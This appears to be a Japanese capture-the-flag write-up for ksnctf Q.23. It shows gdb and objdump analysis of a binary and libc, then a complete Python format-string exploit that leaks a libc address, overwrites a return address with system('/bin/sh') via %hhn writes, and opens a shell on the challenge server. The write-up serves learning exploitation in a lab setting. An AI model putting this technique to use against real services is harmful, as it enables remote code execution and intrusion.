Q. 23
PYTHON3で記述
main+3でスタックの1番目に積まれている__libc_start_main+nnnが何なのかわかっていません。
また、telnetlib.pyでASCIIコードの範囲外エラーが発生したため、一時的に errors="replace" を記述しました。
# Python 3.7.9 exploit code (ksnctf Q.23 Villager B) # 参考文献:セキュリティコンテストチャレンジブック # 参考サイト:ももいろテクノロジー RELROとformat string attackによるリターンアドレス書き換え 他 # https://inaz2.hatenablog.com/entry/2014/04/30/173618 ''' ### ローカルのlinuxに、villagerとlibc.so.6をダウンロード ### libc.so.6を静的解析する。 ### __libc_start_mainを逆アセンブルする。⇒0001a470から始まっていることが判明 kali@kali:~$ objdump -d -M intel libc.so.6 | grep __libc_start_main 0001a470 <__libc_start_main>: 1a499: 74 09 je 1a4a4 <__libc_start_main+0x34> 1a4b0: 74 10 je 1a4c2 <__libc_start_main+0x52> 1a4d1: 0f 85 9e 00 00 00 jne 1a575 <__libc_start_main+0x105> 1a4dc: 74 1c je 1a4fa <__libc_start_main+0x8a> 1a50c: 0f 85 cd 00 00 00 jne 1a5df <__libc_start_main+0x16f> 1a514: 0f 85 0d 01 00 00 jne 1a627 <__libc_start_main+0x1b7> 1a530: 75 64 jne 1a596 <__libc_start_main+0x126> 1a591: e9 41 ff ff ff jmp 1a4d7 <__libc_start_main+0x67> 1a5c4: 75 15 jne 1a5db <__libc_start_main+0x16b> 1a5d9: eb f5 jmp 1a5d0 <__libc_start_main+0x160> 1a5dd: eb 8d jmp 1a56c <__libc_start_main+0xfc> 1a606: 74 0c je 1a614 <__libc_start_main+0x1a4> 1a61c: 75 e3 jne 1a601 <__libc_start_main+0x191> 1a622: e9 eb fe ff ff jmp 1a512 <__libc_start_main+0xa2> 1a649: e9 cc fe ff ff jmp 1a51a <__libc_start_main+0xaa> 0001a64e <.annobin___libc_start_main.end>: kali@kali:~$ ### system関数のアドレスを調べる。⇒0003fe70であることが判明 kali@kali:~$ nm -D libc.so.6 | grep system 0003fe70 T __libc_system@@GLIBC_PRIVATE 0011c710 T svcerr_systemerr@GLIBC_2.0 0003fe70 W system@@GLIBC_2.0 kali@kali:~$ ### 減算により__libc_start_mainとsystem関数のオフセットを求める。⇒154112であることが判明 ### linuxのpython2を使用 kali@kali:~$ python Python 2.7.18 (default, Apr 20 2020, 20:30:41) [GCC 9.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> int(0x0003fe70 - 0x0001a470) 154112 >>> ### libc.so.6上の/bin/shの使用箇所のアドレスを調べる。⇒1535aaであることが判明 kali@kali:~$ strings -tx libc.so.6 | grep '/bin/sh' 1535aa /bin/sh kali@kali:~$ ### 減算により__libc_start_mainと/bin/shのオフセットを求める。⇒1282362であることが判明 ### linuxのpython2を使用 kali@kali:~$ python Python 2.7.18 (default, Apr 20 2020, 20:30:41) [GCC 9.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> int(0x1535aa - 0x0001a470) 1282362 >>> ### gdbでvillagerをデバッグする。 kali@kali:~$ gdb -q villager Reading symbols from villager... (No debugging symbols found in villager) ### デバッグ開始 (gdb) start Temporary breakpoint 1 at 0x8b3 Starting program: /home/kali/villager Temporary breakpoint 1, 0x565558b3 in main () (gdb) ### 開始直後にいったん4wordほどダンプする。 (gdb) x/4wx $esp 0xffffd228: 0x00000000 0xf7afee46 0x00000001 0xffffd2d4 (gdb) ### mainを逆アセンブルする (gdb) disas main Dump of assembler code for function main: 0x565558b0 <+0>: push %ebp 0x565558b1 <+1>: mov %esp,%ebp => 0x565558b3 <+3>: and $0xfffffff0,%esp 0x565558b6 <+6>: sub $0x20,%esp 0x565558b9 <+9>: mov %gs:0x14,%eax 0x565558bf <+15>: mov %eax,0x1c(%esp) 0x565558c3 <+19>: xor %eax,%eax 0x565558c5 <+21>: movl $0x56555a2c,(%esp) 0x565558cc <+28>: call 0xf7b50420 <puts> 0x565558d1 <+33>: mov 0xf7cc5dbc,%eax 0x565558d6 <+38>: mov %eax,(%esp) 0x565558d9 <+41>: call 0xf7b4e320 <fflush> 0x565558de <+46>: xchg %ax,%ax 0x565558e0 <+48>: movl $0x3,(%esp) 0x565558e7 <+55>: call 0xf7baa8a0 <sleep> 0x565558ec <+60>: call 0x565557f0 <_Z4convv> 0x565558f1 <+65>: test %al,%al 0x565558f3 <+67>: je 0x565558e0 <main+48> 0x565558f5 <+69>: movl $0x56555a34,(%esp) 0x565558fc <+76>: call 0xf7b50420 <puts> 0x56555901 <+81>: mov 0xf7cc5dbc,%eax 0x56555906 <+86>: mov %eax,(%esp) 0x56555909 <+89>: call 0xf7b4e320 <fflush> 0x5655590e <+94>: xor %eax,%eax 0x56555910 <+96>: mov 0x1c(%esp),%edx 0x56555914 <+100>: xor %gs:0x14,%edx 0x5655591b <+107>: jne 0x5655591f <main+111> 0x5655591d <+109>: leave 0x5655591e <+110>: ret 0x5655591f <+111>: nop 0x56555920 <+112>: call 0xf7bf3a20 <__stack_chk_fail> End of assembler dump. (gdb) ### <+60> のサブルーチン <_Z4convv> を逆アセンブルする。 (gdb) disas _Z4convv Dump of assembler code for function _Z4convv: 0x565557f0 <+0>: push %ebp 0x565557f1 <+1>: mov %esp,%ebp 0x565557f3 <+3>: sub $0x138,%esp 0x565557f9 <+9>: movl $0x565559fc,(%esp) 0x56555800 <+16>: mov %ebx,-0xc(%ebp) 0x56555803 <+19>: lea -0x11c(%ebp),%ebx 0x56555809 <+25>: mov %esi,-0x8(%ebp) 0x5655580c <+28>: mov %ebx,%esi 0x5655580e <+30>: mov %edi,-0x4(%ebp) 0x56555811 <+33>: mov $0x56555a2a,%edi 0x56555816 <+38>: mov %gs:0x14,%eax 0x5655581c <+44>: mov %eax,-0x1c(%ebp) 0x5655581f <+47>: xor %eax,%eax 0x56555821 <+49>: call 0xf7b50420 <puts> 0x56555826 <+54>: mov 0xf7cc5dbc,%eax 0x5655582b <+59>: mov %eax,(%esp) 0x5655582e <+62>: call 0xf7b4e320 <fflush> 0x56555833 <+67>: mov 0xf7cc5dc0,%eax 0x56555838 <+72>: movl $0x100,0x4(%esp) 0x56555840 <+80>: mov %ebx,(%esp) 0x56555843 <+83>: mov %eax,0x8(%esp) 0x56555847 <+87>: call 0xf7b4e640 <fgets> 0x5655584c <+92>: mov $0x2,%ecx 0x56555851 <+97>: mov $0x1,%eax 0x56555856 <+102>: repz cmpsb %es:(%edi),%ds:(%esi) 0x56555858 <+104>: seta %cl 0x5655585b <+107>: setb %dl 0x5655585e <+110>: cmp %dl,%cl 0x56555860 <+112>: je 0x56555891 <_Z4convv+161> 0x56555862 <+114>: movl $0x56555a0e,(%esp) 0x56555869 <+121>: call 0xf7b34020 <printf> 0x5655586e <+126>: mov %ebx,(%esp) 0x56555871 <+129>: call 0xf7b34020 <printf> 0x56555876 <+134>: movl $0x56555a13,(%esp) 0x5655587d <+141>: call 0xf7b50420 <puts> 0x56555882 <+146>: mov 0xf7cc5dbc,%eax 0x56555887 <+151>: mov %eax,(%esp) 0x5655588a <+154>: call 0xf7b4e320 <fflush> 0x5655588f <+159>: xor %eax,%eax 0x56555891 <+161>: mov -0x1c(%ebp),%edx --Type <RET> for more, q to quit, c to continue without paging-- 0x56555894 <+164>: xor %gs:0x14,%edx 0x5655589b <+171>: jne 0x565558aa <_Z4convv+186> 0x5655589d <+173>: mov -0xc(%ebp),%ebx 0x565558a0 <+176>: mov -0x8(%ebp),%esi 0x565558a3 <+179>: mov -0x4(%ebp),%edi 0x565558a6 <+182>: mov %ebp,%esp 0x565558a8 <+184>: pop %ebp 0x565558a9 <+185>: ret 0x565558aa <+186>: call 0xf7bf3a20 <__stack_chk_fail> End of assembler dump. (gdb) ### puts関数をコールする直前の <+134> でスタックに積んでいる文字列を確認する。 (gdb) x/s 0x56555a13 0x56555a13: "Here is Despair Town...\n" (gdb) ### 一連の対話での最後で、system /bin/shを実行することを目指す。 ### ここにブレイクポイントを入れる。 (gdb) b *_Z4convv+134 Breakpoint 2 at 0x56555876 (gdb) ### 再開する。同時に、入力値がスタック上何番目に積まれているかを特定する。⇒7番目と判明 (gdb) c Continuing. Welcome What's your name? aaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p Hi, aaaa,0x100,0xf7cc5580,(nil),0x400,(nil),(nil),0x61616161,0x2c70252c,0x252c7025,0x70252c70 Breakpoint 2, 0x56555876 in conv() () (gdb) ### 100wordほどスタックをダンプする。 (gdb) x/100wx $esp 0xffffd0c0: 0xffffd0dc 0x00000100 0xf7cc5580 0x00000000 0xffffd0d0: 0x00000400 0x00000000 0x00000000 0x61616161 0xffffd0e0: 0x2c70252c 0x252c7025 0x70252c70 0x2c70252c 0xffffd0f0: 0x252c7025 0x70252c70 0x2c70252c 0x000a7025 0xffffd100: 0xf7ffd000 0x00000008 0x00000008 0xf7b5adab 0xffffd110: 0x00000001 0x5655cbb0 0x00000008 0xd7cdcf00 0xffffd120: 0xf7cc5d20 0x00000180 0xffffffbc 0x00000000 0xffffd130: 0xffffd1d4 0xffffffa4 0xffffd1d4 0xf7ba447e 0xffffd140: 0x00000000 0x00000000 0xffffd15c 0xffffd16c 0xffffd150: 0xf7cc5d20 0x000007d4 0x00000008 0x00000003 0xffffd160: 0x00000000 0x00000000 0x00000000 0x00000008 0xffffd170: 0x0000000a 0x00000007 0xffffd1f8 0xd7cdcf00 0xffffd180: 0xf7cc5d20 0xf7cc5000 0x7fffffff 0xf7baa9e0 0xffffd190: 0x00000000 0x00000000 0xffffd1d4 0xffffd1d4 0xffffd1a0: 0x000004a2 0xf7baa9c6 0x00000000 0xf7baa90d 0xffffd1b0: 0xffffd1d4 0xffffd1d4 0xffffd1f8 0xf7b4e3a0 0xffffd1c0: 0xf7cc5d20 0x0000000a 0x00000007 0x00000000 0xffffd1d0: 0xf7fb3020 0x00000003 0x00000000 0xd7cdcf00 0xffffd1e0: 0x56556fbc 0xf7cc5000 0xffffd1f8 0x00000000 0xffffd1f0: 0xf7cc5000 0xf7cc5000 0xffffd228 0x565558f1 0xffffd200: 0x00000003 0xf7cc5000 0xf7cc5000 0xf7b17ce5 0xffffd210: 0xf7fe3230 0x00000000 0x5655594b 0xd7cdcf00 0xffffd220: 0xf7cc5000 0xf7cc5000 0x00000000 0xf7afee46 0xffffd230: 0x00000001 0xffffd2d4 0xffffd2dc 0xffffd264 0xffffd240: 0x00000001 0xffffd2d4 0xffffd2dc 0xf7cc5000 (gdb) # 0相対で79word目に、mainの <+65> 行目のアドレスが積まれていることがわかる。 # 1つ前の78word目の値は、スタックの90番目を指している。 # 1つ後ろの91番目は、start直後にスタックをダンプした際、1word目に積まれている値といっしょである。 # 再度、4wordダンプする。⇒ <__libc_start_main+262> のアドレスが積まれていることを確認 (gdb) x/4wx 0xf7afee46 0xf7afee46 <__libc_start_main+262>: 0x8310c483 0xe8500cec 0x00018afe 0xb48b5656 (gdb) ### 以上は、ローカルでの調査であるため、ctfqサーバ自体の__libc_start_mainのアドレスは判明していない。 ### 実サーバの libc.so.6のアドレスを調べるために、q4ユーザーでアクセスする。 PS C:\> ssh q4@ctfq.u1tramarine.blue -p 10004 q4@ctfq.u1tramarine.blue's password: [q4@eceec62b961b ~]$ ### q4プログラムをデバッグする。 [q4@eceec62b961b ~]$ gdb -q q4 Reading symbols from q4...(no debugging symbols found)...done. (gdb) ### デバッグ開始 (gdb) start Temporary breakpoint 1 at 0x80485b7 Starting program: /home/q4/q4 warning: Error disabling address space randomization: Operation not permitted Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.i686 warning: Loadable section ".note.gnu.property" outside of ELF segments warning: Loadable section ".note.gnu.property" outside of ELF segments Temporary breakpoint 1, 0x080485b7 in main () Missing separate debuginfos, use: yum debuginfo-install libgcc-8.3.1-5.1.el8.i686 libstdc++-8.3.1-5.1.el8.i686 (gdb) ### 開始直後に4wordほどダンプする。 (gdb) x/4wx $esp 0xff8a9d88: 0x00000000 0xf7ac2569 0x00000001 0xff8a9e24 (gdb) ### スタックの1番目をダンプする。⇒ <__libc_start_main+249> であることが判明 (gdb) x/4wx 0xf7ac2569 0xf7ac2569 <__libc_start_main+249>: 0x8310c483 0xe8500cec 0x000179ab 0x4c8b5656 (gdb) ### これにより、_Z4convv+134 でのスタックの91番目は、<__libc_start_main+262> ではなく、 ### <__libc_start_main+249> であると考えられる。 ''' import socket import struct import sys import telnetlib import time def connect(ip, port): return socket.create_connection((ip, port)) def p(x): return struct.pack('<I', x) def interact(s): print('---- interactivee mode ----') t = telnetlib.Telnet() t.sock = s t.interact() s = connect("ctfq.u1tramarine.blue", 10023) print("%s" % s.recv(1024).decode()) #Welcome print("%s" % s.recv(1024).decode()) #What's your name? # esp+91word目に書かれた <__libc_start_main+249> のアドレスを取得 s.send(b"%91$x\n") recv = s.recv(1024) # 前後の[Hi, ]と[Here is Despair Town...]を除去し、アドレス部分のみを取り出す # 整数変換し、249byte減算して <__libc_start_main> のアドレスを特定する libc_main_addr = int(recv[4:].split(b" ")[0].split(b"\n")[0], 16) - 249 # <__libc_start_main> に、154112を加算して、libc.so.6のsystem関数のアドレスを特定する system_addr = libc_main_addr + 154112 print("system関数:%x" % system_addr) # <__libc_start_main> に、1282362を加算して、libc.so.6内の/bin/shのアドレスを特定する binsh_addr = libc_main_addr + 1282362 print("/bin/sh :%x" % binsh_addr) print("%s" % s.recv(1024).decode()) #What's your name? # esp+79word目に <_Z4convv>関数のリターンアドレス <main+65> が書かれている # このアドレスを書き換えるために、exp+79word目自体のアドレスを特定する # esp+78word目に、esp+79word目自体のアドレス+44byteのアドレスが書き込まれているため、 # esp+78word目に書き込まれたアドレス値から44を減算することによって求める s.send(b"%78$x\n") recv= s.recv(1024) ret_addr = int(recv[4:].split(b" ")[0].split(b"\n")[0], 16) - 44 print("esp上でリターンアドレスを格納した場所のアドレス:%x" % ret_addr) # esp上の書き換え先を1byteずつ整数変換して伝文にセット(リトルエンディアン) payload = p(ret_addr) payload += p(ret_addr+1) payload += p(ret_addr+2) payload += p(ret_addr+3) payload += p(ret_addr+8) payload += p(ret_addr+9) payload += p(ret_addr+10) payload += p(ret_addr+11) b=[0,0,0,0] a=[0,0,0,0] for x in range(4): b[3 - x] = int(hex(binsh_addr)[x*2+2:x*2+4], 16) for x in range(4): a[3 - x] = int(hex(system_addr)[x*2+2:x*2+4], 16) print(a) print(b) b[3] = ((b[3]-b[2]-1) % 0x100) + 1 b[2] = ((b[2]-b[1]-1) % 0x100) + 1 b[1] = ((b[1]-b[0]-1) % 0x100) + 1 b[0] = ((b[0]-a[3]-1) % 0x100) + 1 a[3] = ((a[3]-a[2]-1) % 0x100) + 1 a[2] = ((a[2]-a[1]-1) % 0x100) + 1 a[1] = ((a[1]-a[0]-1) % 0x100) + 1 a[0] = ((a[0]-len(payload)-1) % 0x100) + 1 # 書式文字列までのオフセットは、7 index = 7 payload += b"%%%dc%%%d$hhn" % (a[0], index) payload += b"%%%dc%%%d$hhn" % (a[1], index+1) payload += b"%%%dc%%%d$hhn" % (a[2], index+2) payload += b"%%%dc%%%d$hhn" % (a[3], index+3) payload += b"%%%dc%%%d$hhn" % (b[0], index+4) payload += b"%%%dc%%%d$hhn" % (b[1], index+5) payload += b"%%%dc%%%d$hhn" % (b[2], index+6) payload += b"%%%dc%%%d$hhn" % (b[3], index+7) payload += b"\n" print( payload ) # シェルを立ち上げる s.send(payload) time.sleep(0.1) interact(s)
※他にもコードの参考にしたサイトがありますが、flagが記載されているため掲載しませんでした。